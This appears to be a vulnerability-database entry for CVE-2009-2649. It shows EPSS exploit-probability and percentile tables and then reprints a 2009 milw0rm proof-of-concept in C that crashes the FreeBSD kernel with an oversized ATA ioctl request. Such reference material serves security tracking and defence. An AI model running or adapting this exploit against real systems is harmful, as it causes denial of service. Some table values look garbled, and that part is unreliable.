CVE-2009-2649 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-01-14	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.09%
2025-03-30	–	–	–	–	0.09%
2025-04-06	–	–	–	–	0.09%
2025-04-08	–	–	–	–	0.09%
2025-04-09	–	–	–	–	0.09%
2025-04-12	–	–	–	–	0.09%
2025-04-15	–	–	–	–	0.09%
2025-04-15	–	–	–	–	0.09,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	8%
2024-01-14	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	23%
2025-03-30	22%
2025-04-06	23%
2025-04-08	22%
2025-04-09	23%
2025-04-12	22%
2025-04-15	26%
2025-04-15	26%

/* atapanic.c * * by Shaun Colley, 13 July 2009 * * this panics the freebsd kernel by passing a large value to malloc(9) in one of * fbsd's ata ioctl's. tested on freebsd 6.0 and 8.0. you need read access to the * ata device in /dev to be able to open() the device. chain with some race condition * bug? * * - shaun * */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <fcntl.h> struct ata_ioc_requestz { union { struct { u_int8_t command; u_int8_t feature; u_int64_t lba; u_int16_t count; } ata; struct { char ccb[16]; } atapi; } u; caddr_t data; int count; int flags; int timeout; int error; }; #define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_requestz) int main() { struct ata_ioc_requestz evil; int fd; evil.count = 0xffffffff; fd = open("/dev/acd0", O_RDONLY); /* /dev/acd0 is one of my ata devices */ ioctl(fd, IOCATAREQUEST, &evil); /* should never reach here if kernel panics */ return 0; } // milw0rm.com [2009-07-13]